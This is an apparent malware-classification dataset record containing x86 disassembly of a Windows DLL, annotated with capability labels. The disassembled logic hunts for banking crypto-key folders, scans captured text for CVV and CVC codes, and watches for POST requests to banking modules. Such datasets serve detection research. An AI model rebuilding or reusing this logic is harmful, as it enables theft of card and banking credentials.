joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1001afc0
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
push 0x118
lea eax, [ebp - 0x11c]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x120]
push ecx
mov dword [0x1004fdb0], 0
mov dword [ebp - 0x120], 0x11c
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x1001b102
mov eax, 2
cmp dword [ebp - 0x110], eax
jne 0x1001b102
mov cl, byte [ebp - 6]
cmp cl, 1
jne 0x1001b066
mov ecx, dword [ebp - 0x11c]
cmp ecx, 5
jne 0x1001b046
mov ecx, dword [ebp - 0x118]
test ecx, ecx
jne 0x1001b03b
lea eax, [ecx + 1]
jmp 0x1001b0aa
cmp ecx, 1
je 0x1001b0aa
cmp ecx, eax
jne 0x1001b0a5
jmp 0x1001b0aa
cmp ecx, 6
jne 0x1001b0a5
mov eax, dword [ebp - 0x118]
test eax, eax
jne 0x1001b05a
lea eax, [ecx - 2]
jmp 0x1001b0aa
cmp eax, 1
jne 0x1001b0a5
mov eax, 6
jmp 0x1001b0aa
cmp cl, al
je 0x1001b06f
cmp cl, 3
jne 0x1001b0a5
mov ecx, dword [ebp - 0x11c]
cmp ecx, 5
jne 0x1001b087
cmp dword [ebp - 0x118], eax
jne 0x1001b0a5
lea eax, [ecx - 2]
jmp 0x1001b0aa
cmp ecx, 6
jne 0x1001b0a5
mov eax, dword [ebp - 0x118]
test eax, eax
jne 0x1001b09b
lea eax, [ecx - 1]
jmp 0x1001b0aa
cmp eax, 1
mov eax, 7
je 0x1001b0aa
mov eax, dword [0x1004fdb0]
lea edx, [eax + eax*4]
movzx eax, word [ebp - 0xc]
lea eax, [eax + edx*2]
lea ecx, [eax + eax*4]
add ecx, ecx
push str.kernel32.dll
mov dword [0x1004fdb0], ecx
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
je 0x1001b0f6
push esi
push str.IsWow64Process
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x1001b0f5
lea edx, [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
pop esi
cmp dword [ebp - 4], 0
je 0x1001b102
inc dword [0x1004fdb0]
mov esp, ebp
pop ebp
ret

Function at 0x1001b110
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
xor eax, eax
jmp 0x1001b120
mov cl, byte [eax + 0x10059d68]
mov byte [ebp + eax - 0x104], cl
inc eax
test cl, cl
jne 0x1001b120
push 0x1005c058
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
mov eax, 0x1005c058
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x1001b144
push esi
push edi
lea edi, [ebp - 0x104]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x1001b156
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
lea eax, [ebp - 0x104]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
pop edi
pop esi
cmp eax, 0x10
jne 0x1001b1c3
lea eax, [ebp - 0x104]
dec eax
lea esp, [esp]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x1001b190
mov ecx, dword [str.pass.log]
mov edx, dword [0x10049cd0]
mov dword [eax], ecx
mov cl, byte [0x10049cd4]
mov dword [eax + 4], edx
lea edx, [ebp - 0x104]
push edx
mov byte [eax + 8], cl
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
mov esp, ebp
pop ebp
ret
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x1001b410
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
xor eax, eax
jmp 0x1001b420
mov cl, byte [eax + 0x10059d68]
mov byte [ebp + eax - 0x104], cl
inc eax
test cl, cl
jne 0x1001b420
push 0x1005c15c
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
mov eax, 0x1005c15c
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x1001b444
push esi
push edi
lea edi, [ebp - 0x104]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x1001b456
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea eax, [ebp - 0x104]
pop edi
dec eax
pop esi
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x1001b477
mov ecx, dword [str.pass.log]
mov edx, dword [0x10049cd0]
mov dword [eax], ecx
mov cl, byte [0x10049cd4]
mov dword [eax + 4], edx
lea edx, [ebp - 0x104]
push edx
mov byte [eax + 8], cl
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
mov esp, ebp
pop ebp
ret

Function at 0x1001b890
Capabilities:
Create thread
Terminate thread

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [0x1005a05c]
test eax, eax
je 0x1001b8a6
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push 0
push 0
push 0
push 0x1001b740
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x1005a05c], eax
test eax, eax
je 0x1001b8eb
push esi
lea ecx, [ebp - 4]
push ecx
push eax
mov esi, eax
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x1001b8ea
test byte [ebp - 4], 2
jne 0x1001b8ea
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1001cc20
Capabilities:
Check if file exists
Create thread
Terminate thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x10c
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_OpenMutexA]
push str.LocalEAF799BF_8989_4fe1_9A0D_95CD39D44014
push 0
push 0x100000
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, eax
test esi, esi
jne 0x1001cc68
nop
push 0x64
call ebx
push str.LocalEAF799BF_8989_4fe1_9A0D_95CD39D44014
push 0
push 0x100000
call edi
mov esi, eax
test esi, esi
je 0x1001cc50
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov dword [esp + 0xc], 0
test esi, esi
je 0x1001cc99
lea eax, [esp + 0xc]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x1001cc99
test byte [esp + 0xc], 2
jne 0x1001cc99
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [0x1005a184]
test eax, eax
je 0x1001ccab
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push 0
push 0
push 0
push 0x1001c6f0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xea60
mov dword [0x1005a184], eax
call ebx
xor eax, eax
mov edi, edi
mov cl, byte [eax + 0x10059d68]
mov byte [esp + eax + 0x10], cl
inc eax
test cl, cl
jne 0x1001ccd0
push 0x1005c260
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
mov eax, 0x1005c260
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x1001ccf1
lea edi, [esp + 0x10]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x1001cd01
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [esp + 0x10]
rep movsb byte es:[edi], byte [esi]
dec eax
lea esp, [esp]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x1001cd20
mov ecx, dword [str.pass.log]
mov edx, dword [0x10049cd0]
mov ebx, dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
mov dword [eax], ecx
mov cl, byte [0x10049cd4]
mov dword [eax + 4], edx
lea edx, [esp + 0x10]
push edx
mov byte [eax + 8], cl
call ebx
test eax, eax
je 0x1001cdf7
xor eax, eax
lea esp, [esp]
mov cl, byte [eax + 0x10059d68]
mov byte [esp + eax + 0x10], cl
inc eax
test cl, cl
jne 0x1001cd60
push 0x1005c260
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
mov eax, 0x1005c260
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x1001cd81
lea edi, [esp + 0x10]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x1001cd91
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [esp + 0x10]
rep movsb byte es:[edi], byte [esi]
dec eax
lea esp, [esp]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x1001cdb0
mov ecx, dword [str.path.txt]
mov edx, dword [0x10049f58]
mov dword [eax], ecx
mov cl, byte [0x10049f5c]
mov dword [eax + 4], edx
lea edx, [esp + 0x10]
push edx
mov byte [eax + 8], cl
call ebx
test eax, eax
jne 0x1001cdf7
push 0x1005c260
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
push 0x1004a0bc
push 0x1005c260
call fcn.100139d0
call fcn.1001cc20
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1001dfd0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
test ebx, ebx
jne 0x1001dfe2
xor eax, eax
pop ebx
pop ebp
ret 4
cmp dword [0x1005a068], 0
push esi
push edi
jne 0x1001e1a5
cmp dword [0x1005a078], 0
je 0x1001e1a5
mov esi, dword [sym.imp.SHLWAPI.dll_StrStrIA]
push str.self.cer
push ebx
call esi
mov edi, eax
test edi, edi
jne 0x1001e091
push str.crypto_
push ebx
call esi
test eax, eax
je 0x1001e030
push 0x10046278
inc eax
push eax
call esi
mov edi, eax
test edi, edi
je 0x1001e030
inc edi
jmp 0x1001e091
push 0x10046278
push ebx
call esi
mov edi, eax
test edi, edi
je 0x1001e075
push str.crypto
inc edi
push edi
call esi
mov edi, eax
test edi, edi
je 0x1001e075
push 0x10046278
inc edi
push edi
call esi
mov edi, eax
test edi, edi
je 0x1001e075
push str.private_
push ebx
inc edi
call esi
test eax, eax
jne 0x1001e091
push str.public_
push ebx
call esi
test eax, eax
jne 0x1001e091
push str.private_
push ebx
call esi
test eax, eax
jne 0x1001e091
push str.public_
push ebx
call esi
test eax, eax
je 0x1001e1a5
push str.microscrypto_
push ebx
call esi
test eax, eax
jne 0x1001e1a5
push str.maxthon3public_
push ebx
call esi
test eax, eax
jne 0x1001e1a5
push str.microsoftcrypto_
push ebx
call esi
test eax, eax
jne 0x1001e1a5
push str.crypto_pro_
push ebx
call esi
test eax, eax
jne 0x1001e1a5
push str.progra1crypto1_
push ebx
call esi
test eax, eax
jne 0x1001e1a5
push str._temporary_internet_files_
push ebx
call esi
test eax, eax
jne 0x1001e1a5
push str.:userspublic
push ebx
call esi
test eax, eax
jne 0x1001e1a5
push 0x1004a264
push ebx
call esi
test eax, eax
je 0x1001e11d
push 0x10046278
push eax
call esi
test eax, eax
jne 0x1001e1a5
push str.cryptokit_
push ebx
call esi
test eax, eax
jne 0x1001e1a5
push str.:progra1common1crypto1
push ebx
call esi
test eax, eax
jne 0x1001e1a5
xor esi, esi
cmp edi, esi
je 0x1001e189
push esi
push esi
push ebx
push 0x1001c850
push esi
push esi
mov dword [0x1005a068], 1
mov byte [edi], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov edi, eax
cmp edi, esi
je 0x1001e17d
lea ecx, [ebp + 8]
push ecx
push edi
mov dword [ebp + 8], esi
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x1001e17d
test byte [ebp + 8], 2
jne 0x1001e17d
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov eax, 1
pop ebx
pop ebp
ret 4
push esi
push esi
push ebx
push 0x1001c110
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov edi, eax
cmp edi, esi
je 0x1001e17d
lea eax, [ebp + 8]
push eax
jmp 0x1001e162
pop edi
pop esi
xor eax, eax
pop ebx
pop ebp
ret 4
Function at 0x1001e1b0
Capabilities:
Check if file exists
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
push ebx
push esi
push edi
push 0x103
lea eax, [ebp - 0x10f]
push 0
push eax
mov byte [ebp - 0x110], 0
call sub.MSVCRT.dll_memset
add esp, 0xc
cmp dword [0x1005a078], 0
jne 0x1001e3cc
cmp dword [0x1005a070], 0
je 0x1001e370
cmp dword [0x1005a07c], 0
je 0x1001e367
mov ecx, dword [ebp + 8]
push 0x1004a29c
push ecx
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
je 0x1001e367
xor eax, eax
lea esp, [esp]
mov cl, byte [eax + 0x10059d68]
mov byte [ebp + eax - 0x110], cl
inc eax
test cl, cl
jne 0x1001e220
mov ebx, dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
push 0x1005c260
call ebx
mov eax, 0x1005c260
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x1001e246
lea edi, [ebp - 0x110]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x1001e258
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
push 0x1005c260
rep movsb byte es:[edi], byte [esi]
call ebx
mov eax, 0x1005c260
call fcn.10003080
lea esi, [ebp - 0x110]
call fcn.10007980
mov eax, esi
dec eax
lea ecx, [ecx]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x1001e290
mov edx, dword [str.pass.log]
mov ecx, dword [0x10049cd0]
mov dword [eax], edx
mov dl, byte [0x10049cd4]
mov dword [eax + 4], ecx
mov byte [eax + 8], dl
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x1001e367
lea edi, [ebp - 0x110]
call fcn.100072e0
mov esi, eax
cmp esi, 0xffffffff
je 0x1001e367
mov edx, dword [0x1005a07c]
mov eax, edx
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x1001e2e8
sub eax, edi
push edx
mov edi, eax
call fcn.10007620
mov ecx, dword [ebp + 8]
mov edi, dword [ebp + 0xc]
push ecx
call fcn.10007620
call fcn.10007310
mov esi, dword [0x1005a07c]
call fcn.100141b0
push 0
push 0
push 0
push 0x1001b980
push 0
push 0
mov dword [0x1005a070], 0
mov dword [0x1005a078], 1
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x1001e367
lea edx, [ebp - 4]
push edx
push esi
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x1001e367
test byte [ebp - 4], 2
jne 0x1001e367
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [0x1005a070], 0
jne 0x1001e3cc
mov edi, dword [ebp + 8]
cmp dword [edi], 0x54534f50
jne 0x1001e3d5
cmp byte [edi + 4], 0x20
jne 0x1001e3d5
push str.bsi.dll
push edi
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
je 0x1001e3d5
mov esi, dword [0x1005a07c]
mov dword [0x1005a070], 1
test esi, esi
je 0x1001e3ad
call fcn.100141b0
mov esi, dword [ebp + 0xc]
lea ecx, [esi + 1]
call fcn.10014170
mov dword [0x1005a07c], eax
test eax, eax
je 0x1001e3cc
push esi
push edi
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
pop edi
pop esi
mov dword [0x1005a070], 0
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x1001e3f0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, eax
test esi, esi
je 0x1001e579
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x1001e402
push 0
sub eax, edx
push eax
push esi
call fcn.10044d90
cmp eax, dword [0x1005a28c]
je 0x1001e579
push ebx
mov ebx, dword [sym.imp.SHLWAPI.dll_StrStrIA]
push edi
push 0x1004a2a8
push esi
mov dword [0x1005a28c], eax
call ebx
mov edi, eax
test edi, edi
je 0x1001e447
push str.cvv
push esi
call ebx
test eax, eax
je 0x1001e483
push 0x1004a2b8
push esi
call ebx
mov edi, eax
test edi, edi
je 0x1001e461
push str.cvv2
push esi
call ebx
test eax, eax
je 0x1001e483
push 0x1004a2c8
push esi
call ebx
mov edi, eax
test edi, edi
je 0x1001e577
push str.cvc
push esi
call ebx
test eax, eax
jne 0x1001e577
mov ebx, dword [sym.imp.MSVCRT.dll_strstr]
push str.domainletitbit.net
push esi
call ebx
add esp, 8
test eax, eax
jne 0x1001e577
push 0x10049a24
push edi
call ebx
add esp, 8
test eax, eax
je 0x1001e577
mov cl, byte [eax + 1]
inc eax
cmp cl, 0x30
jl 0x1001e577
cmp cl, 0x39
jg 0x1001e577
mov cl, byte [eax + 1]
cmp cl, 0x30
jl 0x1001e577
cmp cl, 0x39
jg 0x1001e577
mov al, byte [eax + 2]
cmp al, 0x30
jl 0x1001e577
cmp al, 0x39
jg 0x1001e577
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x1001e4f2
sub eax, edx
lea edi, [eax + 1]
test edi, edi
je 0x1001e577
add edi, 0x13
and edi, 0xfffffff0
push edi
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
test ebx, ebx
je 0x1001e577
push edi
push 0
push ebx
call sub.MSVCRT.dll_memset
mov edx, ebx
add esp, 0xc
mov eax, esi
sub edx, esi
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x1001e530
push 0
push 0
push ebx
push 0x1001e580
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x1001e577
lea eax, [ebp - 4]
push eax
push esi
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x1001e577
test byte [ebp - 4], 2
jne 0x1001e577
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1001ef20
Capabilities:
Create thread
Terminate thread

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [0x1005a294]
test eax, eax
je 0x1001ef36
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push 0
push 0
push 0
push 0x1001edd0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x1005a294], eax
test eax, eax
je 0x1001ef7b
push esi
lea ecx, [ebp - 4]
push ecx
push eax
mov esi, eax
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x1001ef7a
test byte [ebp - 4], 2
jne 0x1001ef7a
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x1001f6a0
Capabilities:
Check mutex on windows
Create thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push ecx
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_OpenMutexA]
push str.LocalAAFEE2BF_8989_4fe1_9A0D_95CD39DC0A14
push 0
push 0x100000
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, eax
test esi, esi
jne 0x1001f6e8
lea ebx, [ebx]
push 0x64
call ebx
push str.LocalAAFEE2BF_8989_4fe1_9A0D_95CD39DC0A14
push 0
push 0x100000
call edi
mov esi, eax
test esi, esi
je 0x1001f6d0
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov edi, dword [sym.imp.KERNEL32.dll_GetHandleInformation]
mov dword [esp + 0xc], 0
test esi, esi
je 0x1001f71b
lea eax, [esp + 0xc]
push eax
push esi
call edi
test eax, eax
je 0x1001f71b
test byte [esp + 0xc], 2
jne 0x1001f71b
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0
push 0
push 0x1001f2d0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x1001f768
push 0x9c40
call ebx
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea ecx, [esp + 0xc]
push ecx
push esi
mov dword [esp + 0x14], 0
call edi
test eax, eax
je 0x1001f768
test byte [esp + 0xc], 2
jne 0x1001f768
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x1005c670
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
push str.FAKTURA
push 0x1005c670
call fcn.100139d0
push 0x9c40
call ebx
call fcn.1001f6a0
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1001f7a0
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
xor eax, eax
jmp 0x1001f7b0
mov cl, byte [eax + 0x10059d68]
mov byte [ebp + eax - 0x104], cl
inc eax
test cl, cl
jne 0x1001f7b0
push 0x1005c774
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
mov eax, 0x1005c774
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x1001f7d4
push esi
push edi
lea edi, [ebp - 0x104]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x1001f7e6
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea eax, [ebp - 0x104]
pop edi
dec eax
pop esi
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x1001f807
mov ecx, dword [str.pass.log]
mov edx, dword [0x10049cd0]
mov dword [eax], ecx
mov cl, byte [0x10049cd4]
mov dword [eax + 4], edx
lea edx, [ebp - 0x104]
push edx
mov byte [eax + 8], cl
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
mov esp, ebp
pop ebp
ret

Function at 0x1001f840
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
cmp dword [0x1005a29c], 0
push esi
mov esi, eax
je 0x1001f85c
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
test esi, esi
je 0x1001f855
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x1001f863
sub eax, edx
sar eax, 1
je 0x1001f88b
lea ecx, [esi + eax*2 - 2]
movzx edx, word [ecx]
cmp edx, 0x5c
je 0x1001f88b
cmp edx, 0x2f
je 0x1001f88b
sub ecx, 2
dec eax
jne 0x1001f878
push ebx
lea ebx, [esi + eax*2]
test ebx, ebx
jne 0x1001f89b
pop ebx
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
mov edx, 0xe
mov eax, str.private
mov ecx, ebx
push edi
jmp 0x1001f8b0
mov edi, dword [ecx]
cmp edi, dword [eax]
jne 0x1001f9b3
sub edx, 4
add eax, 4
add ecx, 4
cmp edx, 4
jae 0x1001f8b0
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x1001f9b3
mov al, byte [eax + 1]
cmp al, byte [ecx + 1]
jne 0x1001f9b3
call fcn.1001f7a0
test eax, eax
je 0x1001f9b3
lea edx, [ebp - 0x208]
mov eax, esi
sub edx, esi
movzx ecx, word [eax]
mov word [edx + eax], cx
add eax, 2
test cx, cx
jne 0x1001f8f5
lea eax, [ebp - 0x208]
lea edx, [eax + 2]
lea ecx, [ecx]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x1001f910
sub eax, edx
sar eax, 1
je 0x1001f93b
lea ecx, [ebp + eax*2 - 0x20a]
movzx edx, word [ecx]
cmp edx, 0x5c
je 0x1001f93b
cmp edx, 0x2f
je 0x1001f93b
sub ecx, 2
dec eax
jne 0x1001f928
lea edi, [ebp + eax*2 - 0x208]
mov eax, str.public
mov edx, edi
sub edx, eax
jmp 0x1001f950
movzx ecx, word [eax]
mov word [edx + eax], cx
add eax, 2
test cx, cx
jne 0x1001f950
lea eax, [ebx + 0xe]
mov edx, eax
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x1001f964
sub eax, edx
add edi, 0xfffffffe
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x1001f974
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x1001f9b3
pop edi
mov eax, 1
pop ebx
mov dword [0x1005a29c], eax
pop esi
mov esp, ebp
pop ebp
ret
pop edi
pop ebx
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1001fe20
Capabilities:
Create thread
Terminate thread

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [0x1005a2a0]
test eax, eax
je 0x1001fe36
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push 0
push 0
push 0
push 0x1001fcd0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x1005a2a0], eax
test eax, eax
je 0x1001fe7b
push esi
lea ecx, [ebp - 4]
push ecx
push eax
mov esi, eax
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x1001fe7a
test byte [ebp - 4], 2
jne 0x1001fe7a
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
mov esp, ebp
pop ebp
ret